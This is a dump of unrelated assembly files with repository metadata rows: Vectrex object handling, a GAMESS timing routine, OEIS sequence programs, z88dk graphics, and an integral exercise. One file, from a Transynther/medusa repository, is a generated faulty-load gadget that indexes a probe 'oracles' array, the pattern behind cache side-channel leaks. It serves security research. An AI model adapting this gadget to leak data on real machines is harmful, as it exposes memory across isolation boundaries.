stx NEXT_OBJECT,y ; set next object as previous next
sty PREVIOUS_OBJECT,x ; set previous object as next previous
SET_U_FREE
rts
was_first_re
sty PREVIOUS_OBJECT,x ; clear previous' object of next object
stx list_objects_head; set next object as head
SET_U_FREE
rts
was_last_re:
ldy PREVIOUS_OBJECT,u
beq was_last_and_first_re
stx NEXT_OBJECT,y ; clear last objects next object
sty list_objects_tail; set last object as tail
SET_U_FREE
rts
; clear both
was_last_and_first_re:
stx list_objects_head
stx list_objects_tail
SET_U_FREE
rts
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; SPECIFIC Object functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; behaviours control (action) and draw all objects
; each object type has an individual behaviour
;
; ! the behavhoiur is responsibly to
; increase the U pointer ( leau ObjectStruct,u)
; since e.g. a remove does NOT increase the pointer!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xBehaviour;#isfunction
dec SCALE,u
beq removeObject
base_not_reached
lda SCALE,u
sta VIA_t1_cnt_lo ; to timer t1 (lo)
JSR Intensity_5F ; Sets the intensity of the
ldd Y_POS,u
jsr Moveto_d
lda #6
sta VIA_t1_cnt_lo ; to timer t1 (lo=
ldx CURRENT_LIST,u
jsr [DRAW_ROUTINE,u]
ldu NEXT_OBJECT,u
jmp Reset0Ref
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
explosionBehaviour ;#isfunction
lda EXPLOSION_SCALE,u
; inca
; inca
inca
sta EXPLOSION_SCALE,u
cmpa #EXPLOSION_MAX
bgt endExplosion
; draw exposion
jsr [DRAW_ROUTINE,u]
ldu NEXT_OBJECT,u
jmp Reset0Ref
endExplosion:
jmp removeObject
| 27.066116
| 86
| 0.50229
|
0e842edfc21635c2ec6b6867fe4bf8e64ef7ca81
| 6,603
|
asm
|
Assembly
|
gamess/source/ztime.asm
|
andremirt/v_cond
|
6b5c364d7cd4243686488b2bd4318be3927e07ea
|
[
"Unlicense"
] | null | null | null |
gamess/source/ztime.asm
|
andremirt/v_cond
|
6b5c364d7cd4243686488b2bd4318be3927e07ea
|
[
"Unlicense"
] | null | null | null |
gamess/source/ztime.asm
|
andremirt/v_cond
|
6b5c364d7cd4243686488b2bd4318be3927e07ea
|
[
"Unlicense"
] | null | null | null |
* 8 MAY 1983 - MWS - REASSEMBLED
* THIS ROUTINE TAKEN FROM THE PROGRAM SYSTEM ALIS
* ORIGINALLY WRITTEN AT IOWA STATE UNIVERSITY COMPUTER CENTER
* THIS ROUTINE LETS THE IBM VERSION OF GAMESS PERFORM
* CPU AND REAL TIMING CHECKS.
*
ZTIME CSECT
ENTRY TIME,ZTIME1,ZTIME2
EJECT
* SUBROUTINE TIME(S)
* THE ARGUMENT IS A REAL NUMBER WHICH WILL BE SET
* TO THE NUMBER OF SECONDS ELAPSED SINCE MIDNIGHT.
*
TIME BC ALWAYS,12(15) LINKAGE CONVENTION
DC X'08'
DC CL7'TIME'
STM 14,WORK,12(13)
BAL WORK,A(15)
USING *,13
SAVEMAC DC 18F'0'
S ST 13,4(WORK)
ST WORK,8(13)
LR 13,WORK
SPACE 3
* GET TIME IN BINARY (1/100 SEC UNITS) FORMAT
L OUTADDR,0(1) GET ADDR OF ARG
TIME BIN GET TIME
ST 0,CONV+4 CONVERT BINARY TO FLT PT NO
LD WORK,UNORMZRO
AD WORK,CONV
DD WORK,TIMRUNIT
STE WORK,0(OUTADDR)
BC ALWAYS,RETURN GO HOME
EJECT
*
* SUBROUTINE ZTIME1(T,X,Y)
* ONE, TWO, OR THREE ARGUMENTS MAY BE USED.
* T IS FOR REAL (WALL CLOCK) TIME IN SECONDS.
* X IS FOR TASK (CPU) TIME IN SECONDS.
* Y IS FOR DEFINING USER TASK TIME INTERVALS.
* Y IS SET TO ZERO WHEN THE USER INTERVAL EXPIRES.
* NOTE: CALLING ZTIME1 TWICE WITH NO INTERVENING CALL TO ZTIME2
* RESULTS IN THE TASK TIMING INTERVAL BEING RESET.
ZTIME1 BC ALWAYS,12(15) LINKAGE CONVENTIONS
DC X'08'
DC CL7'ZTIME1'
STM 14,WORK,12(13)
LA WORK,B
LCR WORK,WORK
AR WORK,15
ST 13,4(WORK)
ST WORK,8(13)
LR 13,WORK
SPACE 3
* SUBTRACT TIMER VALUE FROM ARG AND RETURN
L OUTADDR,0(1) GET ADDRESS OF USER'S SUBTOT-
LTR OUTADDR,OUTADDR DO WE WANT TASK TIMING TOO
BM CONT1 NO
L WORK,4(1)
LTR WORK,WORK IS THERE ANOTHER ARGUMENT
BM XXX NO
SDR WORK,WORK YES
L GT,8(1) GET ADDRESS OF SET INTERVAL
LE WORK,0(GT) GET SET INTERVAL
LE GT,0(WORK) GET SUBTOTAL
AER GT,WORK ADD SUBTOTAL
STE GT,0(WORK) SAVE IT
DD WORK,FIX CONVERT TO RIGHT UNITS
AW WORK,UNORMZRO FIX IT
STD WORK,SUBTOT
ST GT,X STORE IT'S ADDRESS
STIMER TASK,EXIT,TUINTVL=SET
B CONT1
XXX STIMER TASK,TUINTVL=H24RS YES?. THEN SET TIMER
LE WORK,0(WORK) GET USER'S SUBTOT
MVC CONV+4(4),H24RS FLOAT SET INTERVAL
LD GT,CONV
MD GT,FIX CONVERT TO SECONDS
AER WORK,GT ADD THEM TOGETHER AND
STE WORK,0(WORK) SAVE
CONT1 MVC SUBTOT+0(4),0(OUTADDR) MOVE IN USER'S SUBTOT
TIME BIN GET TIME (INTEGER,UNITS=1/100 SEC)
ST 0,CONV+4 CONVERT BINARY TIME TO FLOATING NUMBER
LD WORK,UNORMZRO
SD WORK,CONV SUBTRACT CURRENT TIMER VALUE
DD WORK,TIMRUNIT CHANGE TIMER UNITS TO SECONDS
AD WORK,SUBTOT ADD USER'S TIME
STE WORK,0(OUTADDR) SUBTOTAL & RETURN VALUE IN USER'S
BC ALWAYS,RETURN SUBTOTAL
EJECT
*
* SUBROUTINE ZTIME2(T,X,Y)
* ONE, TWO, OR THREE ARGUMENTS MAY BE USED.
* T IS FOR REAL (WALL CLOCK) TIME IN SECONDS.
* X IS FOR TASK (CPU) TIME IN SECONDS.
* Y IS FOR DEFINING USER TASK TIME INTERVALS.
* Y IS SET TO ZERO WHEN THE USER INTERVAL EXPIRES.
* NOTE: ZTIME2 SHOULD NEVER BE CALLED TWICE IN SUCCESSION UNLESS
* THE ORIGINAL VALUES FROM ZTIME1 ARE RESTORED.
ZTIME2 BC ALWAYS,12(15) LINKAGE CONVENTIONS
DC X'08'
DC CL7'ZTIME2'
STM 14,WORK,12(13)
LA WORK,C
LCR WORK,WORK
AR WORK,15
ST 13,4(WORK)
ST WORK,8(13)
LR 13,WORK
SPACE 3
* ADD TIMER VALUE TO ARG TO GET TIME SUBTOTAL
L OUTADDR,0(1) GET ADDR OF USER'S TIME SUBTOTAL
LTR OUTADDR,OUTADDR DO WE WANT TASK TIME
BM CONT2 NO
L WORK,4(1) YES, THEN GET ADDRESS
* PUT TIME LEFT IN REGISTER 0
TTIMER
ST 0,CONV+4 FLOAT IT AND NORMALIZE IT
LD WORK,UNORMZRO
AD WORK,CONV
MD WORK,FIX CONVERT TO SECONDS
LCDR WORK,WORK SUBTRACT TIME LEFT FROM USER'S SUBTOT
AE WORK,0(WORK)
STE WORK,0(WORK) STORE SHORT
LTR WORK,WORK IF HAVE 3RD AGRUMENT, CANCEL LAST STIMER
BM CONT2
TTIMER CANCEL
CONT2 TIME BIN GET TIME OF DAY
ST 0,CONV+4
LD WORK,UNORMZRO CONVERT BINARY TIME TO FLOATING NUMBER
AD WORK,CONV ADD CURRENT TIMER VALUE
DD WORK,TIMRUNIT CHANGE TIMER UNITS TO SECONDS
MVC SUBTOT+0(4),0(OUTADDR)
AD WORK,SUBTOT ADD USER'S SUBTOTAL
MODUP BNL ANSWER ANSWER CONSIDERED GOOD IF IT IS POSITIVE.
AD WORK,HRS24 ELSE, ADD 24 HOURS AND TEST IT AGAIN
BC ALWAYS,MODUP
ANSWER STE WORK,0(OUTADDR) PUT ANSWER IN USER'S SUBTOTAL
BC ALWAYS,RETURN
EJECT
RETURN EQU * CONVENTIONAL RETURN
L 13,4(13)
LM 14,WORK,12(13)
MVI 12(13),X'FF'
BCR ALWAYS,14
SPACE 3
* EXIT ROUTINE
DROP 13
DS 0D
USING *,15
EXIT ST 2,X+4
L 2,X
MVC 0(4,2),UNORMZRO+4
L 2,X+4
BR 14
X DS 2F
DROP 15
SPACE 3
* CONSTANT DEFINITION
DS 0D
HRS24 DC D'86400.0'
TIMRUNIT DC D'100.0'
UNORMZRO DC X'4E00000000000000'
CONV DC X'4E00000000000000'
SUBTOT DC X'0000000000000000'
FIX DC D'26.04E-6'
H24RS DC X'7F',3X'FF'
SPACE 3
* EQUIVALENCES
ALWAYS EQU 15
GT EQU 2
OUTADDR EQU 3
WORK EQU 4
A EQU S-TIME
B EQU ZTIME1-SAVEMAC
C EQU ZTIME2-SAVEMAC
SET EQU SUBTOT+4
END
| 36.888268
| 71
| 0.516583
|
4bd4214ae0fe4a254d21c00ad0d0cdfd053170f4
| 6,115
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0x48.log_21829_447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0x48.log_21829_447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0x48.log_21829_447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x18c38, %rsi
lea addresses_D_ht+0x1e1f8, %rdi
nop
add $60780, %rdx
mov $80, %rcx
rep movsw
nop
nop
nop
nop
nop
and $15990, %rbx
lea addresses_WC_ht+0x13d9e, %rax
nop
sub $58439, %r11
mov $0x6162636465666768, %rcx
movq %rcx, (%rax)
nop
nop
nop
nop
nop
inc %rbx
lea addresses_A_ht+0xf2d8, %rsi
lea addresses_WC_ht+0x1f54, %rdi
nop
nop
nop
add %r10, %r10
mov $33, %rcx
rep movsw
nop
nop
nop
nop
and %r11, %r11
lea addresses_WC_ht+0x18038, %rsi
lea addresses_WC_ht+0x5278, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub $15216, %r11
mov $110, %rcx
rep movsb
nop
nop
nop
nop
nop
and $15167, %rbx
lea addresses_UC_ht+0x1b838, %rsi
lea addresses_D_ht+0x1a038, %rdi
and %r10, %r10
mov $80, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0x1bc38, %rcx
nop
nop
nop
nop
nop
add %rdx, %rdx
mov (%rcx), %r11w
nop
sub $12909, %rax
lea addresses_UC_ht+0x150b8, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
sub $17824, %rdx
vmovups (%rcx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r10
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rax
push %rbp
push %rbx
// Load
lea addresses_UC+0xe258, %r11
nop
nop
nop
inc %rbp
movb (%r11), %al
sub %rbp, %rbp
// Faulty Load
lea addresses_UC+0x1e838, %rax
nop
nop
nop
cmp %rbx, %rbx
movups (%rax), %xmm6
vpextrq $1, %xmm6, %r10
lea oracles, %rbx
and $0xff, %r10
shlq $12, %r10
mov (%rbx,%r10,1), %r10
pop %rbx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'67': 1, '47': 4, '48': 7742, '45': 1166, '00': 12916}
00 48 00 48 00 48 00 48 00 48 00 48 00 45 48 00 00 00 00 00 00 48 00 48 00 00 48 00 48 00 48 00 00 00 48 00 48 00 00 48 00 48 00 00 00 00 00 00 00 00 00 48 00 48 00 48 00 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 00 00 45 00 00 00 00 00 48 00 48 00 48 48 48 00 48 48 00 48 00 00 48 48 00 48 00 00 48 00 48 00 00 00 00 48 48 00 48 00 00 48 00 00 48 00 48 00 00 48 00 48 00 00 48 00 00 00 00 00 48 00 48 00 48 00 48 48 00 48 00 48 00 00 48 45 48 00 00 00 00 00 48 00 48 00 48 00 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 00 48 45 48 00 00 00 00 48 00 00 00 00 00 00 48 00 48 00 00 00 48 00 48 45 48 00 48 00 48 00 00 00 00 48 00 48 48 45 48 00 48 00 48 48 48 00 48 00 45 48 00 48 00 00 48 45 00 00 00 00 00 00 45 00 00 48 00 48 48 45 48 00 48 00 48 48 45 48 00 00 48 00 48 00 48 00 48 45 48 00 48 00 48 00 00 00 48 00 48 00 00 48 00 00 48 00 48 48 00 48 00 48 00 48 48 00 48 00 00 00 00 00 00 00 00 48 00 48 00 45 48 00 48 00 48 00 45 48 48 00 48 48 00 48 00 48 00 48 48 00 48 00 48 48 00 48 00 48 00 00 48 48 00 48 00 48 48 00 48 00 48 48 45 48 00 00 00 00 48 45 48 00 48 00 48 00 48 48 45 48 00 00 00 00 48 45 00 00 00 00 00 00 00 00 00 00 00 48 00 00 48 00 48 00 48 00 00 48 00 48 00 48 48 45 48 00 00 00 00 00 45 00 00 00 00 48 00 00 48 00 48 00 48 48 45 48 00 48 00 48 48 00 48 00 00 00 00 48 00 00 00 48 00 48 48 00 48 00 48 00 00 48 00 00 00 00 00 45 00 00 00 00 48 45 48 00 48 00 48 00 48 00 48 48 45 48 00 48 00 00 48 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 48 48 00 48 00 48 00 00 48 00 00 48 00 00 00 00 00 48 00 48 00 48 00 48 48 45 48 00 48 00 48 48 45 48 00 00 00 00 00 48 00 00 00 00 48 00 00 00 00 48 00 48 00 48 48 48 00 48 00 45 48 00 48 00 00 48 00 00 00 00 00 00 00 00 00 48 00 48 48 00 48 00 48 00 48 00 45 48 00 48 00 00 00 00 00 00 00 00 00 00 00 00 48 00 48 00 00 48 48 00 48 00 00 48 00 48 00 48 00 45 48 00 48 00 00 48 45 00 00 00 00 00 00 45 00 00 48 00 48 00 00 48 00 48 00 48 00 48 00 48 00 00 00 00 45 00 00 00 00 00 00 00 00 00 48 00 48 48 45 48 00 48 00 48 48 45 48 00 48 00 00 48 45 00 00 00 00 00 00 45 00 00 48 00 48 00 00 48 00 48 00 48 00 48 00 45 48 00 48 00 00 48 45 00 00 00 00 48 00 00 00 00 48 00 48 48 00 48 00 48 00 00 48 00 00 48 00 00 00 00 48 00 48 00 48 48 45 48 00 48 00 00 48 00 48 00 48 00 48 00 00 48 00 48 00 48 00 00 48 00 00 00 00 00 48 00 00 48 00 48 00 00 48 00 48 00 48 00 00 00 00 48 00 00 00 00 48 00 48 48 45 48 00 48 00 48 00 48 00 48 00 48 48 00 00 00 00 48 45 00 00 00 00 48 48 00 00 00 00 00 45 00 00 00 00 48 00 00 00 00 48 00 48 00 45 48 00 48 00 48 48 45 48 00 48 00 48 00 45 48 00 00 00 00 00 45 00 00 00 00 48 00 00 48 00 48 00 48 00 00 48 00 48 00 48 00 48 48 00 00 00 00 00 48 00 00 00 00 48 00 48 00 00 48 00 48 00 48 00 00 48 00 48 00 48 48 45 48 00 48 00 48 48 00 48 00 48 00 00 48 00 00 00 00 00 48 00 00 00 00 48 00 48 00 45 48 00 48 00 48 45 48 00 48 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 48 00 48 48 00 48 00 48 00 48 48 45 48 00 00 00 48 00 45 48 00 48 00 48 48 00 48 00 48 45 48 00 48 00 48 00 48
*/
| 37.981366
| 2,999
| 0.659199
|
e79ff54c3b28a2235ac9574accdff8462e6dd961
| 812
|
asm
|
Assembly
|
oeis/026/A026672.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/026/A026672.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/026/A026672.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A026672: a(n) = T(2n,n-1), T given by A026670. Also T(2n,n-1)=T(2n+1,n+2), T given by A026725; and T(2n,n-1), T given by A026736.
; Submitted by Jamie Morken(s4)
; 1,5,22,94,398,1680,7085,29877,126021,531751,2244627,9478605,40040183,169193597,715143046,3023492646,12785541850,54076955716,228759017624,967850695362,4095387893312,17331318506030,73352049994702,310478793178464,1314274988749078,5563797234306980,23555032434277450,99728779672414432,422259152762534890,1787957130870415792,7570987999711248061,32060008972956040565,135765289955754311805,574945233145060286351,2434868769167537348239,10311809367914071129601,43672034831656781484755,184961067244728055594313
mov $3,$0
lpb $0
mov $2,$3
add $2,$0
add $2,2
bin $2,$0
sub $0,1
add $1,$2
cmp $2,$1
add $3,2
sub $3,$2
lpe
mov $0,$1
add $0,1
| 42.736842
| 501
| 0.78202
|
407cbfa197060227c96524790c780861da31f8ac
| 112
|
asm
|
Assembly
|
tests/immediate.asm
|
Liqi1003/lc3_vscode
|
a83f946637e29f47df0e4751ab2ce0afe92bdace
|
[
"Unlicense"
] | 2
|
2021-09-12T12:45:47.000Z
|
2022-02-03T21:36:18.000Z
|
tests/immediate.asm
|
Liqi1003/lc3_vscode
|
a83f946637e29f47df0e4751ab2ce0afe92bdace
|
[
"Unlicense"
] | null | null | null |
tests/immediate.asm
|
Liqi1003/lc3_vscode
|
a83f946637e29f47df0e4751ab2ce0afe92bdace
|
[
"Unlicense"
] | null | null | null |
.ORIG x3000
; TEST: Immediate value out of range
ADD R0, R0, #32
AND R1, R1, #16
ADD R2, R2, x1F
.END
| 12.444444
| 37
| 0.607143
|
54708238850a271be5e3dd602deae18c981c03ff
| 1,199
|
asm
|
Assembly
|
libsrc/graphics/w_undrawb.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | 8
|
2017-01-18T12:02:17.000Z
|
2021-06-12T09:40:28.000Z
|
libsrc/graphics/w_undrawb.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | 1
|
2017-03-06T07:41:56.000Z
|
2017-03-06T07:41:56.000Z
|
libsrc/graphics/w_undrawb.asm
|
Toysoft/z88dk
|
f930bef9ac4feeec91a07303b79ddd9071131a24
|
[
"ClArtistic"
] | 3
|
2017-03-07T03:19:40.000Z
|
2021-09-15T17:59:19.000Z
|
;
; Undrawbox
;
; Generic high resolution version
;
;
; $Id: w_undrawb.asm,v 1.1 2016-10-18 06:52:34 stefano Exp $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC undrawb
PUBLIC _undrawb
EXTERN w_respixel
EXTERN w_line_r
EXTERN swapgfxbk
EXTERN swapgfxbk1
EXTERN __graphics_end
.undrawb
._undrawb
push ix
ld ix,4
add ix,sp
ld l,(ix+6)
ld h,(ix+7)
ld e,(ix+4)
ld d,(ix+5)
push hl
push de
push ix
call swapgfxbk
call w_respixel
call swapgfxbk1
pop ix
ld e,(ix+0)
ld d,(ix+1)
ld hl,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
ld l,(ix+2)
ld h,(ix+3)
ld de,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
pop de
pop hl
push ix
call swapgfxbk
call w_respixel
call swapgfxbk1
pop ix
ld l,(ix+2)
ld h,(ix+3)
ld de,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
ld e,(ix+0)
ld d,(ix+1)
ld hl,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
jp __graphics_end
| 12.621053
| 60
| 0.608841
|
716329d143486edcc9c4dae51c1dc0b96feb286a
| 180
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/div2.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 4
|
2021-12-23T15:34:05.000Z
|
2021-12-23T15:36:16.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/div2.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/div2.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | null | null | null |
SECTION code_fp_math16
PUBLIC div2f16
EXTERN asm_f16_div2
defc div2f16 = asm_f16_div2
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _div2f16
defc _div2f16 = div2f16
ENDIF
| 12
| 28
| 0.8
|
58a190924fa8bda6ea5b72348c22e69679220d7c
| 224
|
asm
|
Assembly
|
programs/oeis/028/A028762.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/028/A028762.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/028/A028762.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A028762: Nonsquares mod 49.
; 3,5,6,7,10,12,13,14,17,19,20,21,24,26,27,28,31,33,34,35,38,40,41,42,45,47,48
add $0,7
mov $1,$0
div $1,4
mov $2,$0
lpb $2
mov $3,$0
add $3,2
mov $0,$3
sub $2,4
lpe
add $1,$0
sub $1,9
| 14
| 78
| 0.575893
|
680438593923a9edc40af320e077ca81674175cf
| 777
|
asm
|
Assembly
|
oeis/254/A254654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/254/A254654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/254/A254654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A254654: Pentagonal numbers (A000326) which are also centered heptagonal numbers (A069099).
; Submitted by Jamie Morken(s2)
; 1,22,11572,265651,139997551,3213845272,1693690359922,38881099834501,20490265834338301,470383542583947322,247891234370134405072,5690700059299494866551,2998988132919620198222251,68846088847021746311586172,36281758184170330787958387022,832899977180569027578074641801,438936707513104528953100367969401,10076423855084435248617800704921822,5310256251211780407104277463735425772,121904574965911520457209125350069560251,64243479688223411852043019803170813019751,1474801537861173719406880749867340834994272
mov $2,$0
mul $2,2
add $0,$2
div $0,2
seq $0,290902 ; p-INVERT of the positive integers, where p(S) = 1 - 3*S.
pow $0,2
div $0,216
mul $0,21
add $0,1
| 55.5
| 499
| 0.857143
|
9a6293e4227e66588a7796e3b8a04777e6c0eb0f
| 3,266
|
asm
|
Assembly
|
Project.asm
|
Ivan-Medvedev/Integrals_Counting
|
ea8e66d9347be308c3213195459891961d7004fa
|
[
"MIT"
] | null | null | null |
Project.asm
|
Ivan-Medvedev/Integrals_Counting
|
ea8e66d9347be308c3213195459891961d7004fa
|
[
"MIT"
] | null | null | null |
Project.asm
|
Ivan-Medvedev/Integrals_Counting
|
ea8e66d9347be308c3213195459891961d7004fa
|
[
"MIT"
] | null | null | null |
;%include "io.inc"
section .bss
x resq 1
section .data
ln2 dq 0.69314718056
one dq 1.0
two dq 2.0
e dq 2.71828182845904523536
three dq 3.0
four dq 4.0
neight dq -8.0
section .rodata
lf db "%lf", 0
section .text
EXTERN pow
EXTERN log
EXTERN printf
EXTERN scanf
global f1
global f2
global f3
global f1_diff
global f2_diff
global f3_diff
f1:
push ebp
mov ebp, esp
and esp, -16
sub esp, 16
mov eax, dword[ebp + 8]
mov edx, dword[ebp + 12]
mov dword[x], eax
mov dword[x + 4], edx
fld qword[one]
fld qword[four]
fld qword[one]
fld qword[x]
fld qword[x]
fmulp
faddp
fdivp
faddp
mov esp, ebp
pop ebp
ret
f2:
push ebp
mov ebp, esp
and esp, -16
sub esp, 16
mov eax, dword[ebp + 8]
mov dword[esp], eax
mov edx, dword[ebp + 12]
mov dword[esp + 4], edx
mov edx, 0x40080000
xor eax, eax
;mov eax, dword[three]
;mov edx, dword[three + 4]
mov dword[esp + 8], eax
mov dword[esp + 12], edx
call pow
mov esp, ebp
pop ebp
ret
f3:
push ebp
mov ebp, esp
and esp, -16
sub esp, 16
mov eax, dword[ebp + 8]
mov edx, dword[ebp + 12]
mov dword[x], eax
mov dword[x + 4], edx
fld qword[x]
fchs
fst qword[x]
mov eax, dword[x]
mov edx, dword[x + 4]
mov dword[esp + 8], eax
mov dword[esp + 12], edx
mov eax, dword[two]
mov edx, dword[two + 4]
mov dword[esp], eax
mov dword[esp + 4], edx
call pow
mov esp, ebp
pop ebp
ret
f1_diff:
push ebp
mov ebp, esp
mov eax, dword[ebp + 8]
mov edx, dword[ebp + 12]
mov dword[x], eax
mov dword[x + 4], edx
fld qword[neight]
fld qword[x]
fmulp
fld qword[x]
fld qword[x]
fmulp
fld qword[one]
faddp
fld qword[x]
fld qword[x]
fmulp
fld qword[one]
faddp
fmulp
fdivp
mov esp, ebp
pop ebp
ret
f2_diff:
push ebp
mov ebp, esp
mov eax, dword[ebp + 8]
mov edx, dword[ebp + 12]
mov dword[x], eax
mov dword[x + 4], edx
fld qword[three]
fld qword[x]
fmulp
fld qword[x]
fmulp
mov esp, ebp
pop ebp
ret
f3_diff:
push ebp
mov ebp, esp
and esp, -16
sub esp, 16
mov eax, dword[ebp + 8]
mov edx, dword[ebp + 12]
mov dword[esp], eax
mov dword[esp + 4], edx
call f3
fld qword[ln2]
fmulp
fchs
mov esp, ebp
pop ebp
ret
_start_2:
mov ebp, esp; for correct debugging
push ebp
mov ebp, esp
and esp, -16
sub esp, 16
mov dword[esp], lf
mov dword[esp + 4], x
call scanf
mov eax, dword[x]
mov edx, dword[x + 4]
mov dword[esp], eax
mov dword[esp + 4], edx
call f3_diff
fst qword[x]
mov eax, dword[x]
mov edx, dword[x + 4]
mov dword[esp + 4], eax
mov dword[esp + 8], edx
mov dword[esp], lf
call printf
mov esp, ebp
pop ebp
xor eax, eax
ret
| 17.189474
| 40
| 0.511635
|
5b316cf7c7bf17727ea0db3aaaf0bfb722ebf5eb
| 60
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuyy)_(vbuxx)_(vbuaa)_(vbum2).asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
